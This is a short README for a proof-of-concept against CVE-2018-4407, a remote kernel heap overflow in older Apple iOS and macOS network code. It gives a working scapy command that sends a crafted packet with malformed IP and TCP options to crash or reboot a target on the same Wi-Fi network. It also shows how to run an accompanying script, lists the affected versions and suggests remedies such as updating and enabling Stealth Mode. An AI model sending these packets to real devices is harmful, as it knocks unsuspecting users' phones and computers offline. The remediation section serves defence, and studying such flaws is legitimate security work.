check_icmp_dos

iOS 12 / OS X Remote Kernel Heap Overflow (CVE-2018-4407) POC:

pip install scapy
sudo scapy 
send(IP(dst=“Target IP“,options=[IPOption(“A”*8)])/TCP(dport=2323,options=[(19, “1"*18),(19, “2”*18)]))

Or use the script

python check_icmp_dos.py 127.0.0.1

This vulnerability allows an attacker, as long as they are connected to the same Wi-Fi network, to send malicious packets to unsuspecting users and trigger a crash or reboot on any Mac or iOS device. Because the vulnerability exists in the system's core network code, no antivirus software can defend against it.

The following operating system devices are vulnerable:

Apple iOS 11 and earlier: all devices (some devices upgraded to iOS 12)

Apple macOS High Sierra (highest affected version 10.13.6): all devices (fixed via Security Update 2018-001)

Apple macOS Sierra (highest affected version 10.12.6): all devices (fixed via Security Update 2018-005)

Apple OS X El Capitan and earlier: all devices

Remediation Suggestions

Currently, Apple has released iOS 12.1 to fix this vulnerability. Users are advised to check their system version and take appropriate remediation measures if affected. The remediation measures are as follows:

1. Update the system to the latest version.
2. If you cannot update to the latest version, enabling Stealth Mode in the macOS firewall can prevent attacks. This system setting is not enabled by default and needs to be manually turned on by the user.
3. Do not connect to public wireless networks. The only necessary condition to trigger this vulnerability is to be on the same network; this vulnerability cannot be triggered by sending malicious packets over the internet.